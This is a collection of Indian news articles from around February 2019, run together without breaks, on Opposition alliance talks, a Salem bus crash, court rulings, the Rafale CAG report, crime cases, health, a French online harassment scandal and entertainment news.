Apart from two million cusecs water from Krishna River which has been obtained, Chennai would get additional two million cusecs water soon. Similarly, works have been initiated in all the urban and rural areas of TN. About 238 works have been taken up in 86 panchayats at Rs 24.85 crore.New Delhi: Moving forward on a united anti-BJP Front for the Lok Sabha elections, top Opposition leaders agreed to work together to prepare a common minimum programme to oust the Modi government and to consider forging a pre-poll alliance.

The meeting hosted by NCP president Sharad Pawar at his residence saw top Opposition leaders, including Congress president Rahul Gandhi and AAP president and Delhi Chief Minister Arvind Kejriwal.

West Bengal Chief Minister Mamata Banerjee and her Andhra Pradesh counterpart N. Chandrababu Naidu vowed to work together due to democratic compulsions to save India.

The meeting was held after the Aam Aadmi Party protest rally at Jantar Mantar. After the meeting, Mr Gandhi said, We will work together to defeat the BJP. Mr Kejriwal termed the talks constructive and said the Opposition will work together.

There were indications that the Congress and the AAP, bitter rivals since the regional party came to power in Delhi in 2015, may be part of the tie-up.

Ms Banerjee called the meeting fruitful and asserted, We will do pre-poll alliance if needed.

Opposition leaders will keep meeting in the coming days for better coordination, she said.

Earlier in the day, Ms Banerjee had said, Any fight with the Congress will remain in the state. At the national level, we will fight together, this I am saying from the heart. For the greater interest of the country, I am ready to sacrifice my life, my party. I am ready to sacrifice everything.

Mr Naidu said there was a democratic compulsion to save India while Farooq Abdullah of the National Conferences termed the meeting good.Salem: One person was killed and 16 others injured as a private bus slipped off a bridge here in the early hours of Wednesday.

Police sources said that the ill-fated Pollachi-bound private bus, carrying 28 passengers, left Bengaluru on Tuesday night by 10:30 pm.

When the bus was travelling along the 'Butterfly bridge' at Kondalampatti area near Salem town at around 4:30 am on Wednesday, it slipped off the bridge and plunged 30 feet down to the ground.

As trapped passengers screamed for help, people nearby ran to help them. Fire and rescue staff and police personnel including Salem Commissioner of Police, Sankar, rushed to the spot and made arrangements for rescue operations.

The well-grown bushes around the accident site proved to be a hindrance for easy rescue operations. However, the cops and firemen rescued all the passengers and the bus crew.

But, one Dhanasekaran (42) hailing from Tiruppur, succumbed to injuries on the spot.

Sixteen persons, including Saravanan, the bus driver, Faizal Khan, Sivashankar, Jayalakshmi, Prabhaka-ran all hailing from Bengaluru, Shanti (Tiruchy), Ravi (Krishnagiri), Eswari (Palani), Ashwin and Duraisamy (Erode), Syed (Vaniampadi), Vasudevan, Abinash and Dhil

Mohd (Tirupur), who sustained grievous injuries were rushed to the government hospital in Salem, where there are being given medical treatment.

According to police sources, over speeding and heavy luggage stacked on the roof of the bus, are said to be reasons for the accident.

Meanwhile, Collector of Salem, Rohini, who inspected the spot, and later met the injured at the hospital, said she would order an RTO enquiry into the accident.It is significant that Bills introduced in the Rajya Sabha and pending there do not lapse with the dissolution of the Lok Sabha.

Guwahati: In what has been attributed as to be a grand victory of anti-Citizenship Bill lobby of northeast, the Citizenship Amendment Bill on Wednesday failed to find passage of Rajya Sabha, which adjourned sine die following repeated interruption of opposition.

As soon as the news reached the northeast, the students body, civil society groups and political parties in Assam erupted in celebrations claiming it to be a victory of northeast people.

However, Assam finance minister Himanta Biswa Sarma said this could not be a considered victory of the states people by any standard and his party will remain committed for the issue.

He categorically said that if CAB was not in place then by 2022, Assam would be controlled by Bangladeshi Muslims.

It is significant that Bills introduced in the Rajya Sabha and pending there do not lapse with the dissolution of the Lok Sabha. But the Bills passed by the Lok Sabha and pending in the Rajya Sabha lapse.Chennai: The Madras high court has pulled up the authorities for not taking action against the erection of illegal digital banners happening for past many years.

A division bench comprising Justices M. Sathyanarayanan and M. Nirmal Kumar made the observations while hearing a contempt petition filed by social activist Traffic Ramaswamy, which sought to punish those including six political parties, which violated the orders of the courts in the matter of erecting illegal digital banners.

When the matter came up for hearing on Wednesday, Harmander Singh, IAS, Principal Secretary to government, Municipal Administration and water supply department filed an affidavit stating that the authorities have great respect of the order of the court and never violated or intended to violate the orders passed by the court. However, if this court comes to the conclusion that he has violated the orders of this court, he tenders his unconditional apology and pray to purge him out of the contempt proceedings.

The government was so far adhering to the said orders of the court without fail till date and undertakes to do so hereafter also, he added.

Expressing dissatisfaction over the affidavit, the bench said this court likes to point out at this juncture that in its order dated December 19, 2018 had grantred interim injunction. The court had also gave instances of violations that took place for past many years and in considered opinion of the court, the present affidavit was hardly satisfactory except the affidavit containing 5 pages, no worthwhile details as to the prosecution of the violations that already taken place and the preventive mechanism to prevent such kind of violation in future have not been stated. Additional advocate general seeks further time to file additional affidavit with supporting documents. Call the matter on March 15, the bench added.

The bench also ordered notice to the authorities on the petitions filed by Arum Mozhi Devan, district secretary of AIADMK, Cuddalore and K. Balaganga, district secretary (north madras), which sought to modify the order of the court dated December 19, 2018 and thereby permit the petitioners to erect placards and banners in accordance with the Rules on the eve of the birth anniversary of former Chief Minister late J. Jayalalithaa.Hyderabad: The habit of copy-pasting and poor security for documents owned by the Bharatiya Janata Partys IT Cell showed the party in a bad light on Wednesday when BJP state unit, a Union minister and other members of the IT Cell tweeted that Modi government has not made inclusive development as the focal point.

Some other tweets read, Modi government has destroyed all villages in India and Modi government has made women a slave.

The IT cell has documents containing a set of predefined tweets along with a hashtag.

Many Twitter accounts associated with the BJP tweeted the exact updates present in these documents without even checking the contents for sanctity.

The BJP IT cell left this word document with a set of tweets prepared for a hashtag #Modi4NewIndia on Google Drive open for editing without locking it, making it accessible for anyone. Pratik Sinha of AltNews who got hold of this document edited parts of the document which was blindly picked up and tweeted by Union minister Ponnar Radhakrishnas twitter handle and several members of the IT Cell.

Mr Sinha said that while he tried to make the tweets look silly, even a person in Pakistan could have got access to this document by the IT cell and easily controlled the tweets of the BJP.

While people might take this with a pinch of salt, Mr Sinha noted that the purpose of this exercise here is to demonstrate that a non-government entity sitting in the BJPs office is controlling what a Union minister is tweeting.

It is a grave security concern that the BJP folks are blindly copy-pasting the content on the internet without thinking of the ramifications of international relations. For suppose a tweet on another demonetisation would have created chaos, he warned.

Mr Sinha not only demonstrated the issues with cloud computing and shared access, but also that in the run up to elections, the online battlefield in India is not secure from foreign interference.It is similar to a road accident, where there is no intention to kill but purely negligence of the concerned authority.

Hyderabad: Trouble seems to be looming for Incor Builders with PBEL City residents contemplating taking the legal route to nail the builder for negligence that led to the death of a six-year-old. The legal avenues the residents can opt for are: Moving the consumer forum, checking if the Real Estate Regulatory Authority (RERA) has jurisdiction and moving a petition or filing a suit in the civil court seeking compensation.

So far, the Narsingi police has not taken the accused into custody as it is awaiting the post-mortem report and detailed analysis from the electricity department.

Senior advocate C. Mallesh Rao explaining the legal options, said, It is criminal negligence and the party can be booked under Section 304 (A) of the IPC, even though they did not intend to harm. It is similar to a road accident, where there is no intention to kill but purely negligence of the concerned authority. If a life is lost or someone is severely injured the state is liable. For instance in the Uphaar fire incident, since it was criminal negligence the state was liable and made to pay compensation.

He added, The aggrieved party can move the civil court for compensation and file a suit with regard to the civic mismanagement. The compensation is given on certain factors like the age of the person, the date of the occurrence and a number of dependents. Usually if the deceased is a senior citizen, the compensation is less.

According to legal experts, since the High Court has the original jurisdiction, the family or the aggrieved party can move the court for compensation.

Another legal avenue is the consumer forum. A couple of advocates with the forum, upon hearing the case, have come forward to help the family and residents. Senior advocate T.V. Rajeshwar Rao said, The family can either claim compensation up to Rs 20 lakh under the district forum or above Rs 20 lakh at the state commission.

Earlier the Lok Adalat was the competent authority. In several such cases, the adalat would direct the state to compensate. However, the body is no longer functional with no head and deputy chief.

Narsingi inspector G.V. Ramana Goud, in connection with case, addressed a letter to the electricity department officials requesting them to look into the issue to find out the cause of electrocution of Monish, 6, son of techie Diwakar, from Chennai, on Monday.

The post-mortem report is also awaited from Tamil Nadu, which may take some time. So far, nobody has been taken into custody, the inspector said.Shiv Sena asked what was the guarantee the BJP will not reach out to its former ally, TDP, if it falls short of numbers to form government.

Mumbai: Shiv Sena on Wednesday said its leader Sanjay Raut's visit to Andhra Pradesh Chief Minister N Chandrababu Naidu during his fast in Delhi was merely a courtesy call, and criticised the BJP over handling of its allies.

The Uddhav Thackeray-led party also asked what was the guarantee that the BJP will not reach out to its former ally, the Naidu-led TDP, in case it falls short of numbers to form government after the Lok Sabha elections.

Senior Sena leader and Rajya Sabha member Sanjay Raut had on Monday made a surprise appearance at Mr Naidu's day-long protest over demand for special status for his state, saying he came to attend the event as a representative of his party, which shares strained relations with senior ally BJP.

Justifying Mr Raut's meeting with Mr Naidu, the Sena, in an editorial in party mouthpiece "Saamana", said the leader visited Andhra Pradesh chief minister as a "courtesy" because his state has been split into two.

"We are also against splitting of states. But our visit has been seen as if sky has fallen upon the government," it said.

"What is the guarantee that if required, senior BJP leaders will not knock at the doors of Naidu for his support to form government after the Lok Sabha polls?" it asked.

Mr Naidu was a "great leader" till the time he was with the NDA and now he is suddenly "untouchable", the editorial said.

Recalling BJP's alliance with PDP in Jammu and Kashmir, it said the Mehbooba Mufti-led party's Rajya Sabha member Fayaz Ahmad Mir has demanded return of mortal remains of Parliament attack convict Afzal Guru and Maqbool Bhat, founder of the separatist J&K Liberation Front (JKLF).

Both were buried at the Tihar jail in Delhi. Maqbool Bhat was hanged in Tihar on February 11, 1984 following his conviction in the killing of an intelligence official while Afzal Guru was hanged on February 9, 2013.

"This demand is preposterous. But it is the same PDP with which the BJP had shared power in Jammu and Kashmir. During that time, the state saw maximum bloodshed, several attacks took place and some were even rewarded despite having terror links," the Sena claimed.

Nobody had any issue then, but the Sena paying a courtesy visit to the TDP is severely criticised, the Marathi daily said without naming anyone.

"We understand the difference between the PDP and the TDP better," it said.

Sena, which is an ally of the BJP at the centre and in Maharashtra, claimed the activities of Mehbooba Mufti's party are "pro-Pakistan" and demanded that it be considered as "anti-national".Hyderabad: Director-General of Police M. Mahendar Reddy said that the Maoists were left with hardly 500 members and were gradually losing mass support. Only the eastern regional bureau (Bihar and Jharkhand) has some activity and there is no fresh recruitment, Mr Reddy said while speaking after the formal surrender of Maoist central committee member Oggu Satvaji, 53, alias Sudhakar, and his wife Vydugula Aruna alias Neelima. Sudhakar, also known as Buriyar alias Kiran, carried a reward of Rs 25 lakh and Neelima, Rs 10 lakh.

Director General of Police M. Mahendar Reddy said that Sudhakar, while working in the military wing, led many raids and ambushes. He headed the Bihar and Jharkhand committees as a central military commission member from 2014 till he decided to leave the outfit. There is no clear data of how many people Sudhakar killed.

He said Sudhakar would face trial in cases including those registered by the National Investigation Agency, after his brother was caught with Rs 25 lakh at Jharkhand. The DGP said that Sudhakar was vexed with the happenings in the party where most cadre including central committee members were looking to make money.

Dacoities and robberies are mostly done to gain money. Over the last year, he was planning to leave the party and join mainstream society and our efforts became fruitful, the DGP said. Sudhakar, a native of Sangapur village in Nirmal, joined the Maoists in 1983.

He worked as a courier for Venu and was attached to the central technical team courier network under Irri Mohan Reddy. He said that he was in Bengaluru and Kalburagi (Gulbarga) till 1986 when he was arrested and jailed till December 1989. He said that he met poet Varavara Rao, and this led to his joining the Raythu Coolie Sangham.

He played a crucial role in the construction of the martyrs' memorial at Indravelli in Adilabad. In 1998, he married Neelima, then a special zonal committee member.

After the Maoist peace talks in 1990 failed, he went underground and worked in military formations of the Maoists. He was with the Dandakaranya special zone committee state military commission before joining the central committee in 2013.New Delhi: For the third time in less than a month, Opposition leaders came together in a public show of unity at a rally organised by the Aam Aadmi Party and demanded that Prime Minister Narendra Modi and the BJP, be ousted from power in the elections as they posed a threat to democracy and constitutional values.

AAP president and Delhi Chief Minister Arvind Kejriwal said people should not repeat the mistake of making a Class 12 pass out as the Prime Minister, and should back an educated leader. His West Bengal counterpart Mamata Banerjee said the situation was more dangerous than the Emergency.

Besides Mr Kejriwal and Ms Banerjee, AP Chief Minister N. Chandrababu Naidu, National Confere-nce leader Farooq Abdullah, Sharad Yadav of the Loktantrik Janata Dal (LJD), NCP's Sharad Pawar, DMK's Kanimozhi, ex-Arunachal chief minister Gegong Apang, CPM general secretary Sitaram Yechury, CPI leader D. Raja and Samajawadi Party leader Ram Gopal Yadav spoke at the rally at Jantar Mantar.

Ms Banerjee asked Opposition parties to fight in unison at the national level to oust the BJP-led NDA from power.

Any fight with the Congress will remain in the state (West Bengal). At the national level, we will fight together, this I am saying from the heart... For the greater interest of the country, I am ready to sacrifice my life, my party. I am ready to sacrifice everything, she said, adding democracy in the country has become Namocracy.

She appealed to all the Opposition parties to play to their strengths and not cut into each others' votes. She also asked them to ensure they get all the seats in the states they are strong in.

I went to a Gandhi statue and and thought that Modi has to be removed, the West Bengal CM said, People who have blood on their hands are ruling the country.

It is the Prime Minister's last day as elected leader in Parliament, she said after the Lok Sabha adjourned sine die. Everyone is afraid of Gabbar Singh. There are two of them -- (Prime Minister Narendra) Modi and (BJP chief Amit) Shah, she claimed.

She said Mr Modis speech in Parliament was his last in the House as a people's representative and that his government has reached its expiry date.

Mr Kejirwal alleged that Mr Modi was trying to tear apart the Constitution and destroy democracy. Last time you made a class 12 pass Prime Minister of the country. Do not commit the mistake this time and find someone who is educated...., Kejriwal said, referring to questions raised on Mr Modis educational qualifications.

The Congress was represented by Anand Sharma. Disgruntled BJP lawmaker Shatrughan Sinha joined the leaders and trained his guns at his own party's government.The students were told by their lawyers that if they intend to return to the US on a valid visa, they wont face any legal issue.

Hyderabad: Seventeen students, all male and a majority of them Telugus, who were detained by the US Immigration Customs and Enforcement (ICE), have been allowed voluntary deportation after spending more than two weeks in jail in the fake university student recruitment case.

The students will be leaving Detroit city, Michigan, on Wednesday to travel to India. Out of the 130 detained, 40 students have been issued voluntary departure letters over the weeks. A source informed this newspaper that the students hired lawyers individually at a cost of $2,000.

The Telugu community in America informed informed the Deccan Chronicle, Out of the 17 students, eight were lodged in the Michigan Monroe Centre and the rest in Detroit. For the eight students who appeared before the court in Michigan no attorney was hired by the Consulate. However, all eight students were given the option to review and fight back but they asked for voluntary departure and that was granted.

However, until their departure they will have to stay in the county jail.

The students were told by their lawyers that if they intend to return to the US on a valid visa, they wont face any legal issue.

The judge clearly stated that a visa in the home country will be given and the students need not depend on the consulates.

Satyanarayana Reddy Kandimalla, president of the American Telangana Association, said, Hundreds of students detained are in distress. About 20 of them are lodged in two different detention centres in Michigan and over 100 across 30 centres. Almost all the students are opting for the voluntary departure and are hoping that they are not barred from re-entry to the US. We have repeatedly appealed to US officials of the detention centres to provide them with decent facilities. We are working on getting the remaining students help by law so that they can leave the country as all their friends and family members are worried.The two-judge bench, headed by Justice S A Bobde has asked the Chief Minister Yogi Adityanath government to file a fresh vision document in four weeks with respect to the steps it wanted to take in the preservation of the site. (Photo: ANI)

New Delhi: The Supreme Court on Wednesday slammed the Uttar Pradesh government for the poor maintenance of the Taj Mahal and asked it to show seriousness in preserving the monument.

The two-judge bench, headed by Justice S A Bobde has asked the Chief Minister Yogi Adityanath government to file a fresh vision document in four weeks with respect to the steps it wanted to take in the preservation of the site.

Hearing a case, the bench observed: "We are very serious and concerned for the preservation and maintaining a proper standard of one of the world's seven wonders."

In its report on Taj Mahal, Archaeological Survey of India, in December last year, said the monument colour appeared to have changed due to the pollution in Agra.

From the last few years, the apex court, now and again, has been summoning the state and the central government over the issue of degradation of Taj Mahal.

The apex court has expressed its unhappiness over the procedures of the Centre and the state government to deal with the situation.

Last year, SC had sought detailed suggestions to preserve the historic Taj Mahal from respective parties, including CPCB and Uttar Pradesh government, in the case pertaining to maintenance of the monument.

In July last year, the Uttar Pradesh government submitted its draft vision document to the court on the restoration of Taj Mahal and assured that it will take several steps for the conservation of the heritage structure.On Tuesday, Kumar was grilled by the CBI officials for over 10 hours. (Photo: PTI)

Shillong: Kolkata Police Commissioner Rajeev Kumar has been released by CBI in Shillong to return to Kolkata. Rajeev Kumar was interrogated for 3 hours in connection with Saradha chit-fund scam on Wednesday.

The Kolkata Police chief, who has been accused of withholding some documents related to Saradha and Rose Valley chit fund cases, is being questioned by the CBI in Shillong since five consecutive days starting Saturday.

On Tuesday, Kumar was grilled by the CBI officials for over 10 hours.

On February 5, the Supreme Court had directed Kumar to appear before the central investigative agency in connection with the matter. It had also said that no coercive step should be taken against Kumar.

The top court's directive had come against the backdrop of a dharna organised by West Bengal Chief Minister Mamata Banerjee in Kolkata earlier this month in protest against the CBIs attempt to arrest the top cop.

Kumar has been serving as Kolkatas Police Commissioner since January 2016. He is said to have not responded to the earlier summons from the CBI in connection with the probe into the Rose Valley and Saradha ponzi scamsThe Centre has repeatedly denied allegations by the opposition party in the Rafale issue. (Representational Image)

New Delhi: Amid the sparring contest between Congress and the BJP-led NDA government over the Rafale deal, a report by the Comptroller and Auditor General (CAG) into the purchase of 36 Rafale fighter jets was tabled in Parliament on Wednesday.

The report mentioned that compared to the 126 aircraft deal, India managed to save 17.08 per cent money for the India Specific Enhancements in the 36 Rafale contract, reported new agency ANI.

In terms of engineering support package and performance based logistics, the deal was 6.54 per cent expensive, it stated.

The NDA deal was 2.86 per cent cheaper than the one negotiated by the UPA government in 2007, according to the report.

The CAG said a Defence Ministry team in March 2015 recommended the scrapping of the 126 Rafale deal, saying that Dassault Aviation (manufacturer of Rafale plane) was not the lowest bidder and EADS (European Aeronautic Defence and Space Company) was not fully compliant with the tender requirements.

The process for procurement of 126 Medium Multi-Role Combat Aircraft (MMRCA) was initiated during the previous UPA government through tendering process and Rafale was selected as the lowest bidder.

The government auditor said that the IAF did not define the ASQRs (Air Staff Qualitative Requirements) properly and as a result, none of the vendors could fully meet the ASQRs.

ASQRs were changed repeatedly during the procurement process, the CAG said.

The delivery schedule of the first 18 Rafale aircraft is better than the one proposed in the 126 aircraft deal, by five months.

The report gives much relief to the Modi government, which has been facing fervent attacks by the Congress over the fighter jet deal. The Centre has repeatedly denied allegations by the opposition party in the Rafale issue.Priyanka met with district presidents and workers form eight Lok Sabha constituencies including Amethi and Raebareli. (Photo: Twitter | @AnnuTandonUnnao)

New Delhi: After 16-hour meeting, Priyanka Gandhi Vadra on Wednesday finished her over-night meeting with the congress workers on the campaign for the 2019 Lok Sabha elections due by May.

"I am getting their views on how to fight these elections to win," the party's new general secretary said.

Priyanka met with district presidents and workers form eight Lok Sabha constituencies including Amethi and Raebareli.

The meeting began on Tuesday afternoon after she arrived in Lucknow from Jaipur, where her husband Robert Vadra nd his mother Maureen Vadra were questioned by the Enforcement Directorate on a money laundering case.

"I'm learning a lot about the organisation, how it is structured and the changes that need to be made," Priyanka said.

The other constituencies that were a part of the discussions were Lucknow, Unnao, Mohanlalganj, Sultanpur, Pratapgarh and Fatehpur.

In an adjoining room at the Congress office in Lucknow, Jyotiraditya Scindia held meetings with leaders from the constituencies in his charge.

Priyanka Gandhi and Jyotiraditya Scindia, along with Rahul Gandhi, had held a grand roadshow on Monday to galvanise party workers that gave Congress its most iconic leaders and prime ministers but has over the past three decades preferred other parties like the BJP, Samajwadi Party and BSP.

Uttar Pradesh is politically vital state as it has the most number of parliamentary seats  80- and any party that performs well has a chance to come at power in the centre.The protestors had blocked the Delhi-Mumbai railway track and several highways and roads. (Photo: ANI)

Jaipur: The Rajasthan assembly on Wednesday unanimously passed the Gujjar Reservation bill that promises 5 per cent quota to the Gujjar community and other nomadic tribes.

The Rajasthan Backward Classes (Reservation of Seats in Educational Institutes in the State and of Appointments and Posts in Services under the State) Amendment Bill, 2019, will give reservation to Gujjars and the other castes.

The bill was presented by Energy Minister B D Kalla in the Assembly to pacify members of Gujjar community who have been holding demonstrations since Friday across the state for quota.

The protestors had blocked the Delhi-Mumbai railway track and several highways and roads.

The bill seeks to increase the backward classes reservation from the present 21 per cent to 26 per cent with five per cent reservation to Gujjars, Banjaras, Gadia Lohars, Raikas and Gadaria.

While addressing the assembly, Deputy Chief Minister Sachin Pilot gave the example of Centre giving 10 per cent reservation to the poor in the general category.Thiruvananthapuram: The police may issue a look-out notice against Shafiq Al Qassimi, former chief Imam of the Tholicode Muslim Jama'ath here, who was charged under PoCSO Act for allegedly molesting a 14-year-old girl. This was stated by Nedumangad DySp B. Ashokan who is supervising the investigation into the case coming within the jurisdiction of Vithura police station.

The case was registered only on Tuesday based on the statement of Jama'ath president Badusha, though the incident happened over a week ago. The police have given protection to Badusha. Though the police had searched the houses of the relatives of Qasssimi at his native place at Erattupetta, they could not trace him.

As anticipatory bail will not be issued in cases registered under the PoCSO Act, the police, through a notice sent to his lawyer, have asked him to surrender.

Meanwhile, the family of the girl, who had earlier refused to cooperate with the police, will give a statement against the Imam after the girl's father arrives from the Gulf. This is following the counseling given by the child welfare committee.

The police will also take the statements of the girl and the eyewitnesses.Jaipur: Robert Vadra, son-in-law of UPA chairperson Sonia Gandhi, arrived at Enforcement Directorate office here on Wednesday morning. He arrived at the ED office around 10:20 am.

This is the second consecutive day of Vadras questioning at EDs Jaipur office.

The businessman husband of Priyanka Gandhi Vadra is being questioned by the probe agency in connection with Bikaner land deal case.

Earlier on Tuesday, he was interrogated for over eight hours by the Enforcement Directorate here on Tuesday in connection with a money laundering case amidst heightened security. His mother Maureen Vadra, was also questioned.

"ED first called Robert Vadra in Delhi. There he went for three-four days. Then he was asked to appear in Jaipur. He came at 10:30 am. The ED interrogated him for eight-nine hours. He gave right answers to whatever questions he was asked. The investigation is currently on. He has been called tomorrow also. He will again come at 10:30 am tomorrow. His mother's investigation has concluded," Vadra's lawyer SJ Khaitan told media here.

The mother-son duo arrived in Jaipur on Monday to be quizzed on an alleged land scam in Bikaner, the states border town.

On January 22, the Rajasthan High Courts Jodhpur bench had directed Vadra, Maureen, and his partners in Skyline Hospitality to appear before the ED on February 12 to respond to the allegations of money laundering levelled against his firm.Though the incident happened on Sunday, the matter came to light after the girl narrated the ordeal to her family the next day.

The girls family has filed a complaint with the Sadar police demanding stringent action against the accused. (Photo: Representational Image)

BARIPADA: A Class 8 girl student was on February 10 subjected to sexual assault by a minor boy inside the toilet of her school under Sadar police limits of the district, reports said on Tuesday.

Though the incident happened on Sunday, the matter came to light after the girl narrated the ordeal to her family the next day.

The girls family has filed a complaint with the Sadar police demanding stringent action against the accused. As per the allegations, the girl was inside the school bathroom when the minor boy, a Class X student of another school, jumped the fence and barged inside. The boy then raped her in the bathroom, the family alleged.

Inspector Swarnalata Minz of Baripada police station said, The incident occurred on Saraswati Puja and the girls aunt lodged a complaint at Sadar Police Station alleging that the girl was sexually assaulted by a boy. A case has been registered under Sections 341, 376 (3), 506 Indian Penal Code (IPC) and Protection of Children from Sexual Offences (POCSO).In the past, we expected that this was due to the direct consequences of poor cardiac output and congested lungs.

Chennai: Ramya, a 9-year-old girl, complained of severe heartache combined with drowsiness. When taken to the hospital she was told that her iron deficiency may be the reason for this major heart problem. I am an anaemic and fall sick often. I dont know how I developed a heart problem. Doctors say that it might be due to the anaemic condition that I have developed the disease, says Ramya.

Anaemia, or low haemoglobin level in the blood, is often linked to heart disease because the heart has to work harder to pump more blood and oxygen through the body.

When asked, a haematologist, Dr Varadarajan said that if a child is anaemic, the blood becomes dilute. The dilution of blood means that when the total number of red blood corpuscles (RBC) is low, the blood is dilute resulting in lower volume of the blood. It will subsequently lead to heart failure. The heart fails to function because it finds it difficult to pump out the blood as the volume of blood is lesser, he said.

When someone is anaemic, the body doesnt get the oxygen that it needs. If anaemia is unrecognized and untreated, serious damage can occur in the organs.

If anaemia becomes severe, the heart has to pump harder and faster to compensate for the decreased oxygen levels in the body, says Dr M Vijaya Kumar, cardiologist at Vijaya Heart Foundation. People who already have heart disease may actually worsen their condition if they also develop anaemia because decreased oxygen places additional strain on the heart, he added.

Anaemia can lead to a rapid or irregular heartbeat (arrhythmia). When youre anaemic your heart must pump more blood to compensate for the lack of oxygen in the blood. This can lead to an enlarged heart or heart failure. Anaemia has been found to be a common complication of chronic heart failure (CHF), reducing oxygen delivery to the periphery.

Talking about chronic anaemia, senior cardiologist Stephen T. Sinatra in his article, Anaemia and the heart, says that anaemia also causes reduced blood flow to the kidneys, which leads to fluid retention, which places even further stress on the heart.

Additionally, chronic anaemia can result in left ventricular hypertrophy, the enlargement and thickening of the walls of the left ventricle-the hearts main pumping chamber. This can worsen congestive heart failure and set up what researchers call a vicious cycle wherein CHF causes anaemia and the anaemia causes more CHF and both damage the kidneys, worsening the anaemia and the CHF further, he said.

Chronic heart failure or CHF is frequently associated with poor exercise tolerance and weakening symptoms despite modern treatment. In the past, we expected that this was due to the direct consequences of poor cardiac output and congested lungs.

Other important pathophysiological disturbances in chronic heart failure occur as both short and long term consequences of the initial cardiac dysfunction. These include neurohormonal activation, cytokine release and trophic changes in skeletal muscle and the peripheral vasculature, and disturbances in reflex control systems.Set up in 2009, the League of LOL also had members in public relations, graphic design, and media education. (Photo: Representational/AFP)

France: A group of young French media executives was condemned Monday for running a macho "boys' club" that harassed female colleagues online. Their closed Facebook group "League of LOL", made up mostly of men in their thirties, ridiculed women journalists for years, sometimes using pornographic memes to attack them.

Women seen as feminist were the group's favourite targets. The founder of the group, journalist Vincent Glad, was suspended Monday by left-wing daily Liberation after an investigation by the newspaper's own fact-checking unit exposed its existence.

The revelations also led to the suspension of the newspaper's online editor Alexandre Hervaud and his opposite number at France's trendiest music and culture magazine, Les Inrockuptibles, David Doucet.

The affair is being dubbed the "French media's #MeToo", with Liberation referring to the group as a "boys' club", which bullied women online and cracked off-colour jokes about rape culture. Victims of the group recounted how the attacks and pranks had pushed one woman to quit journalism and left another suicidal.

League of LOL targeted science presenter Florence Porcel, seeking to humiliate her by getting group members to pose as the producers of a prestigious television programme offering her a job, then posted the recording of the fake interview online.

Other women had their heads grafted onto pornographic images.

Set up in 2009, the League of LOL also had members in public relations, graphic design, and media education. It had been much less active in recent years. The head of a porn culture website, Stephen des Aulnois, stepped down Monday and suspended his Le Tag Parfait (The Perfect Tag) blog, apologising for his part in the activities of the group that gets its name from the acronym for "laugh out loud".

In a separate development, Le Monde newspaper said Monday that three journalists from the French edition of the Huffington Post news site, in which Le Monde has a stake, had been fired for making "unacceptable remarks in a work context". Le Monde's editor-in-chief Jerome Fenoglio and publisher Louis Dreyfus said the three were fired over their posts on a closed Facebook page, without revealing the nature of the remarks or whether they were linked to the League of LOL.

Group founder Glad, who is on a freelance contract at Liberation, at first denied it was a macho crusade. "There was never an anti-feminist obsession inside the group. We make fun of everything and everybody," he insisted. But in a lengthy apology on Twitter, Glad said he was "horrified to now see my tweets from 2013 when I joked about rape culture. I am ashamed."

Glad said he "had not realised until today how macho our stance was. I didn't see how our jokes were shutting down the first wave of feminists speaking out on social media. "I had the stupid reaction of many men at the time, why are they annoying us with all this?" he added. Christophe Carron, editor of the French edition of online magazine Slate, also admitted having been a member of the group.

France's minister for digital affairs, Mounir Mahjoubi, described the men behind League of LOL as "losers". "It is a group of guys high on their power at being able to make fun of other people. Except that their mockery had an effect in real life," he said. Equality Minister Marlene Schiappa underscored that online harassment was outlawed, and said she was considering extending the six-year cut-off for prosecuting alleged crimes. Under the law as it stands, only law-breaking posts after 2013 could be prosecuted.Actor Vijay Deverakonda met with a small accident while shooting in Kakinada recently for his upcoming film Dear Comrade. The actor, who sustained minor injuries, took a days rest before resuming the shoot. Meanwhile, after hearing about his injuries, two little girls from Philadelphia sent a video asking Vijay to go to a doctor. Impressed with their cute advice, the actor tweeted, I just feel in love. Vijay Deverakonda doesnt need a doctor, but he would love to meet you two. Will you (sic)?

The little girls who sent a video from Philadelphia.

The father of the girls, Santosh Kame immediately responded that his daughters would be very happy to meet the actor. Sure. My kids will be sooo happy to meet youWe are travelling to Hyderabad from Philadelphia this Saturday (sic), he replied, following which Vijay Deverakonda once again wrote that he would definitely meet them.Game Over is the new thriller that the very versatile Tapsee Pannu has completed in Telugu. As she waits for its release she cant help feeling a sense of gratitude and joy at her return to Telugu cinema.

Telugu and Tamil cinema are where I started my career. I am so happy to be back doing a bi-lingual in Tamil and Telugu, says Tapsee.

Game Over which releases in April features Tapsee in an unique role. It was physically the most difficult role to play. For 70 per cent of the film I had to be confined to a wheelchair. To be so restricted in my movements was an unbearable ordeal for me. But then thats the whole challenge and thrill of being an actor. One gets to constantly do things that one may not do in real life, play characters that open up new doors in ones psyche.

Tapsee is most impressed by what has been achieved in Game Over. The director Ashwin Saravanan has brought a unique perspective to the thriller. This film is in the genre of The House On The Hill but entirely original.

Tapsee says she feels at home in Telugu cinema. I make sure that I do at least one film out there every year. I enjoy coming back to Telugu cinema. It feels like home. Game Over revolves around my character. And it feels great to be playing the hero in a Telugu film.The latest tale on Kannada television says it all. Set in Melkote, comes this story of opposites. A character who is a board topper and the other who has never passed ninth grade! A rich and spoilt hero gets married to a heroine in Nan Hendathi MBBS on Star Suvarna, who aspires to be a doctor and despises him. The miss-match works perfectly for the audience as it showcases women as smarter, brighter and more intelligent. While, there is no doubt that it is women power which moves the small screen forward, even the newer tales see them in leading roles. They are no more just homemakers or playing typical daughter-in-laws who are constantly in tussle with the mother-in-law or the usual attractive vamps. Women in new-age television are no lesser than their counterparts and even inspire them to take up challenges. Bengaluru Chronicle reports.

Despite the huge TRPs earned thanks to the female audience, the kind of roles they played on TV in the past were very cliched, mostly those who struggled to find their place in their family. Almost every tale had an emotional twist attached. The television has slowly moved away from such family dramas. However, they are still around but the way they are portrayed has changed. They make decisions and are self-confident characters, says writer Sharan.

It is the miss-match which makes it all the more interesting. In Jodi Hakki, the female protagonist is a teacher by profession who marries an illiterate who is good at heart. It is such a mismatch which makes it an interesting watch for the audience where a female protagonist inspires her man in many ways, and puts him on the right track while being a support in difficult times. There are several such tele-serials which run on similar lines. Even in Pattedari Pratibha which had a good run, women were shown in detective roles, explains assistant director Ashwini.

In fact, a majority of serials have female protagonists playing a vital role, and are not there merely for the emotional factor. If one carefully observes, most present characters are highly qualified, and the go-to-go person in critical situations. This in turn helps the audience to understand the core issue of women empowerment. It is not just about love, marriage and being a mother. It is good that television is on a path to change, says actress Chaitra.Mumbai: As soon as the trailer of Rakeysh Omprakash Mehras Mere Pyare Prime Minister launched, B Town celebs were all praises for the directors next directorial.

